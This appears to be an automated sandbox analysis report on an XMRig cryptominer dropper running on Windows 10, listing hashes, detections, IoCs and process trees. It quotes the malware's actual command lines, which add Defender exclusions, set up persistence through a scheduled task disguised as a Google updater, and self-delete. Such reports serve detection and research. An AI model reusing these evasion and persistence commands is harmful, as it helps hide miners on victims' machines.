xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
1799s
max time network
1793s
platform
windows10-2004_x64
resource
win10v2004-20231222-en
resource tags

arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
submitted
23-01-2024 19:27

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General

Target

grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 8 IoCs

Processes:

LM3BR4UBmKBzBP5H.exeupdater.exe

description	pid	process	target process
PID 4436 created 3532	4436	LM3BR4UBmKBzBP5H.exe	Explorer.EXE
PID 4436 created 3532	4436	LM3BR4UBmKBzBP5H.exe	Explorer.EXE
PID 4436 created 3532	4436	LM3BR4UBmKBzBP5H.exe	Explorer.EXE
PID 2004 created 3532	2004	updater.exe	Explorer.EXE
PID 2004 created 3532	2004	updater.exe	Explorer.EXE
PID 2004 created 3532	2004	updater.exe	Explorer.EXE
PID 2004 created 3532	2004	updater.exe	Explorer.EXE
PID 2004 created 3532	2004	updater.exe	Explorer.EXE

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 28 IoCs

miner

Processes:

resource	yara_rule
behavioral18/memory/2360-124-0x00007FF636940000-0x00007FF637134000-memory.dmp	xmrig
behavioral18/memory/2360-128-0x00007FF636940000-0x00007FF637134000-memory.dmp	xmrig
behavioral18/memory/2360-130-0x00007FF636940000-0x00007FF637134000-memory.dmp	xmrig
behavioral18/memory/2360-131-0x00007FF636940000-0x00007FF637134000-memory.dmp	xmrig
behavioral18/memory/2360-135-0x00007FF636940000-0x00007FF637134000-memory.dmp	xmrig
behavioral18/memory/2360-137-0x00007FF636940000-0x00007FF637134000-memory.dmp	xmrig
behavioral18/memory/2360-139-0x00007FF636940000-0x00007FF637134000-memory.dmp	xmrig
behavioral18/memory/2360-141-0x00007FF636940000-0x00007FF637134000-memory.dmp	xmrig
behavioral18/memory/2360-143-0x00007FF636940000-0x00007FF637134000-memory.dmp	xmrig
behavioral18/memory/2360-145-0x00007FF636940000-0x00007FF637134000-memory.dmp	xmrig
behavioral18/memory/2360-147-0x00007FF636940000-0x00007FF637134000-memory.dmp	xmrig
behavioral18/memory/2360-149-0x00007FF636940000-0x00007FF637134000-memory.dmp	xmrig
behavioral18/memory/2360-151-0x00007FF636940000-0x00007FF637134000-memory.dmp	xmrig
behavioral18/memory/2360-153-0x00007FF636940000-0x00007FF637134000-memory.dmp	xmrig
behavioral18/memory/2360-155-0x00007FF636940000-0x00007FF637134000-memory.dmp	xmrig
behavioral18/memory/2360-157-0x00007FF636940000-0x00007FF637134000-memory.dmp	xmrig
behavioral18/memory/2360-159-0x00007FF636940000-0x00007FF637134000-memory.dmp	xmrig
behavioral18/memory/2360-161-0x00007FF636940000-0x00007FF637134000-memory.dmp	xmrig
behavioral18/memory/2360-167-0x00007FF636940000-0x00007FF637134000-memory.dmp	xmrig
behavioral18/memory/2360-169-0x00007FF636940000-0x00007FF637134000-memory.dmp	xmrig
behavioral18/memory/2360-171-0x00007FF636940000-0x00007FF637134000-memory.dmp	xmrig
behavioral18/memory/2360-173-0x00007FF636940000-0x00007FF637134000-memory.dmp	xmrig
behavioral18/memory/2360-175-0x00007FF636940000-0x00007FF637134000-memory.dmp	xmrig
behavioral18/memory/2360-177-0x00007FF636940000-0x00007FF637134000-memory.dmp	xmrig
behavioral18/memory/2360-179-0x00007FF636940000-0x00007FF637134000-memory.dmp	xmrig
behavioral18/memory/2360-181-0x00007FF636940000-0x00007FF637134000-memory.dmp	xmrig
behavioral18/memory/2360-183-0x00007FF636940000-0x00007FF637134000-memory.dmp	xmrig
behavioral18/memory/2360-185-0x00007FF636940000-0x00007FF637134000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

Processes:

updater.exe

pid process

2004 updater.exe

pid	process
2004	updater.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral18/memory/2360-120-0x00007FF636940000-0x00007FF637134000-memory.dmp	upx
behavioral18/memory/2360-124-0x00007FF636940000-0x00007FF637134000-memory.dmp	upx
behavioral18/memory/2360-128-0x00007FF636940000-0x00007FF637134000-memory.dmp	upx
behavioral18/memory/2360-130-0x00007FF636940000-0x00007FF637134000-memory.dmp	upx
behavioral18/memory/2360-131-0x00007FF636940000-0x00007FF637134000-memory.dmp	upx
behavioral18/memory/2360-135-0x00007FF636940000-0x00007FF637134000-memory.dmp	upx
behavioral18/memory/2360-137-0x00007FF636940000-0x00007FF637134000-memory.dmp	upx
behavioral18/memory/2360-139-0x00007FF636940000-0x00007FF637134000-memory.dmp	upx
behavioral18/memory/2360-141-0x00007FF636940000-0x00007FF637134000-memory.dmp	upx
behavioral18/memory/2360-143-0x00007FF636940000-0x00007FF637134000-memory.dmp	upx
behavioral18/memory/2360-145-0x00007FF636940000-0x00007FF637134000-memory.dmp	upx
behavioral18/memory/2360-147-0x00007FF636940000-0x00007FF637134000-memory.dmp	upx
behavioral18/memory/2360-149-0x00007FF636940000-0x00007FF637134000-memory.dmp	upx
behavioral18/memory/2360-151-0x00007FF636940000-0x00007FF637134000-memory.dmp	upx
behavioral18/memory/2360-153-0x00007FF636940000-0x00007FF637134000-memory.dmp	upx
behavioral18/memory/2360-155-0x00007FF636940000-0x00007FF637134000-memory.dmp	upx
behavioral18/memory/2360-157-0x00007FF636940000-0x00007FF637134000-memory.dmp	upx
behavioral18/memory/2360-159-0x00007FF636940000-0x00007FF637134000-memory.dmp	upx
behavioral18/memory/2360-161-0x00007FF636940000-0x00007FF637134000-memory.dmp	upx
behavioral18/memory/2360-163-0x00007FF636940000-0x00007FF637134000-memory.dmp	upx
behavioral18/memory/2360-165-0x00007FF636940000-0x00007FF637134000-memory.dmp	upx
behavioral18/memory/2360-167-0x00007FF636940000-0x00007FF637134000-memory.dmp	upx
behavioral18/memory/2360-169-0x00007FF636940000-0x00007FF637134000-memory.dmp	upx
behavioral18/memory/2360-171-0x00007FF636940000-0x00007FF637134000-memory.dmp	upx
behavioral18/memory/2360-173-0x00007FF636940000-0x00007FF637134000-memory.dmp	upx
behavioral18/memory/2360-175-0x00007FF636940000-0x00007FF637134000-memory.dmp	upx
behavioral18/memory/2360-177-0x00007FF636940000-0x00007FF637134000-memory.dmp	upx
behavioral18/memory/2360-179-0x00007FF636940000-0x00007FF637134000-memory.dmp	upx
behavioral18/memory/2360-181-0x00007FF636940000-0x00007FF637134000-memory.dmp	upx
behavioral18/memory/2360-183-0x00007FF636940000-0x00007FF637134000-memory.dmp	upx
behavioral18/memory/2360-185-0x00007FF636940000-0x00007FF637134000-memory.dmp	upx

Drops file in System32 directory 3 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

updater.exe

description	pid	process	target process
PID 2004 set thread context of 3572	2004	updater.exe	conhost.exe
PID 2004 set thread context of 2360	2004	updater.exe	conhost.exe

Drops file in Program Files directory 4 IoCs

Processes:

LM3BR4UBmKBzBP5H.exeupdater.execmd.execmd.exe

description	ioc	process
File created	C:\Program Files\Google\Chrome\updater.exe	LM3BR4UBmKBzBP5H.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exe

pid process

5016 WMIC.exe

pid	process
5016	WMIC.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

Processes:

LM3BR4UBmKBzBP5H.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exe

pid	process
4436	LM3BR4UBmKBzBP5H.exe
4436	LM3BR4UBmKBzBP5H.exe
904	powershell.exe
904	powershell.exe
4436	LM3BR4UBmKBzBP5H.exe
4436	LM3BR4UBmKBzBP5H.exe
4176	powershell.exe
4176	powershell.exe
4436	LM3BR4UBmKBzBP5H.exe
4436	LM3BR4UBmKBzBP5H.exe
4436	LM3BR4UBmKBzBP5H.exe
4436	LM3BR4UBmKBzBP5H.exe
4356	powershell.exe
4356	powershell.exe
2004	updater.exe
2004	updater.exe
1880	powershell.exe
1880	powershell.exe
2004	updater.exe
2004	updater.exe
4024	powershell.exe
4024	powershell.exe
2004	updater.exe
2004	updater.exe
2004	updater.exe
2004	updater.exe
3572	conhost.exe
3572	conhost.exe
2004	updater.exe
2004	updater.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	904	powershell.exe
Token: SeDebugPrivilege	4176	powershell.exe
Token: SeIncreaseQuotaPrivilege	4176	powershell.exe
Token: SeSecurityPrivilege	4176	powershell.exe
Token: SeTakeOwnershipPrivilege	4176	powershell.exe
Token: SeLoadDriverPrivilege	4176	powershell.exe
Token: SeSystemProfilePrivilege	4176	powershell.exe
Token: SeSystemtimePrivilege	4176	powershell.exe
Token: SeProfSingleProcessPrivilege	4176	powershell.exe
Token: SeIncBasePriorityPrivilege	4176	powershell.exe
Token: SeCreatePagefilePrivilege	4176	powershell.exe
Token: SeBackupPrivilege	4176	powershell.exe
Token: SeRestorePrivilege	4176	powershell.exe
Token: SeShutdownPrivilege	4176	powershell.exe
Token: SeDebugPrivilege	4176	powershell.exe
Token: SeSystemEnvironmentPrivilege	4176	powershell.exe
Token: SeRemoteShutdownPrivilege	4176	powershell.exe
Token: SeUndockPrivilege	4176	powershell.exe
Token: SeManageVolumePrivilege	4176	powershell.exe
Token: 33	4176	powershell.exe
Token: 34	4176	powershell.exe
Token: 35	4176	powershell.exe
Token: 36	4176	powershell.exe
Token: SeIncreaseQuotaPrivilege	4176	powershell.exe
Token: SeSecurityPrivilege	4176	powershell.exe
Token: SeTakeOwnershipPrivilege	4176	powershell.exe
Token: SeLoadDriverPrivilege	4176	powershell.exe
Token: SeSystemProfilePrivilege	4176	powershell.exe
Token: SeSystemtimePrivilege	4176	powershell.exe
Token: SeProfSingleProcessPrivilege	4176	powershell.exe
Token: SeIncBasePriorityPrivilege	4176	powershell.exe
Token: SeCreatePagefilePrivilege	4176	powershell.exe
Token: SeBackupPrivilege	4176	powershell.exe
Token: SeRestorePrivilege	4176	powershell.exe
Token: SeShutdownPrivilege	4176	powershell.exe
Token: SeDebugPrivilege	4176	powershell.exe
Token: SeSystemEnvironmentPrivilege	4176	powershell.exe
Token: SeRemoteShutdownPrivilege	4176	powershell.exe
Token: SeUndockPrivilege	4176	powershell.exe
Token: SeManageVolumePrivilege	4176	powershell.exe
Token: 33	4176	powershell.exe
Token: 34	4176	powershell.exe
Token: 35	4176	powershell.exe
Token: 36	4176	powershell.exe
Token: SeIncreaseQuotaPrivilege	4176	powershell.exe
Token: SeSecurityPrivilege	4176	powershell.exe
Token: SeTakeOwnershipPrivilege	4176	powershell.exe
Token: SeLoadDriverPrivilege	4176	powershell.exe
Token: SeSystemProfilePrivilege	4176	powershell.exe
Token: SeSystemtimePrivilege	4176	powershell.exe
Token: SeProfSingleProcessPrivilege	4176	powershell.exe
Token: SeIncBasePriorityPrivilege	4176	powershell.exe
Token: SeCreatePagefilePrivilege	4176	powershell.exe
Token: SeBackupPrivilege	4176	powershell.exe
Token: SeRestorePrivilege	4176	powershell.exe
Token: SeShutdownPrivilege	4176	powershell.exe
Token: SeDebugPrivilege	4176	powershell.exe
Token: SeSystemEnvironmentPrivilege	4176	powershell.exe
Token: SeRemoteShutdownPrivilege	4176	powershell.exe
Token: SeUndockPrivilege	4176	powershell.exe
Token: SeManageVolumePrivilege	4176	powershell.exe
Token: 33	4176	powershell.exe
Token: 34	4176	powershell.exe
Token: 35	4176	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

cmd.exepowershell.exeupdater.execmd.exe

description	pid	process	target process
PID 5112 wrote to memory of 1068	5112	cmd.exe	choice.exe
PID 5112 wrote to memory of 1068	5112	cmd.exe	choice.exe
PID 4356 wrote to memory of 3012	4356	powershell.exe	schtasks.exe
PID 4356 wrote to memory of 3012	4356	powershell.exe	schtasks.exe
PID 2004 wrote to memory of 3572	2004	updater.exe	conhost.exe
PID 3984 wrote to memory of 5016	3984	cmd.exe	WMIC.exe
PID 3984 wrote to memory of 5016	3984	cmd.exe	WMIC.exe
PID 2004 wrote to memory of 2360	2004	updater.exe	conhost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3532

C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\LM3BR4UBmKBzBP5H.exe
"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\LM3BR4UBmKBzBP5H.exe"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:4436

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:904

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4176

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\LM3BR4UBmKBzBP5H.exe"
2⤵
- Suspicious use of WriteProcessMemory
PID:5112

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
3⤵
PID:1068

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4356

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
3⤵
PID:3012

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1880

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4024

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
2⤵
PID:2360

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:3984

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe qtdiqnkejoz
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:3572

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2004

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
PID:5016

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
1⤵
- Drops file in Program Files directory
PID:1724

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe
Filesize
510KB

MD5
a12e4530c280392cc63cd9115d76bd02

SHA1
17254a37aa6a5285f24d442d2db25cb9b9564a11

SHA256
feb98c196991f11e8f5e6b07bef3501bb0eb583dfec4e867e9c2aaaea5cf75d3

SHA512
731fe1ae6a41549d790c53f9fd97a004ec56db31c78c4bd21fa94b9b3a80722802de42136c34fededca7e6135365719b75cbc3d40886b537f826820fa8132257

Download Submit
C:\Program Files\Google\Chrome\updater.exe
Filesize
732KB

MD5
f619529113d6a7cb95b151e835d206c6

SHA1
81879255523a90d915091daed02a3fa573de55b8

SHA256
1d9a0b358ecc488b874ab410383a44df6eabbb0aeea78286e7f895debfbcafa7

SHA512
6fbee5fc927d2209ae23fc77a927fbe2261ec217f04a80f43e4333255d5e41bb6ea84dbde188866064e36a2738315681804ef1f8c987ffb314346f4568a0716a

Download Submit
C:\Program Files\Google\Libs\g.log
Filesize
226B

MD5
fdba80d4081c28c65e32fff246dc46cb

SHA1
74f809dedd1fc46a3a63ac9904c80f0b817b3686

SHA256
b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

SHA512
b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

Download Submit
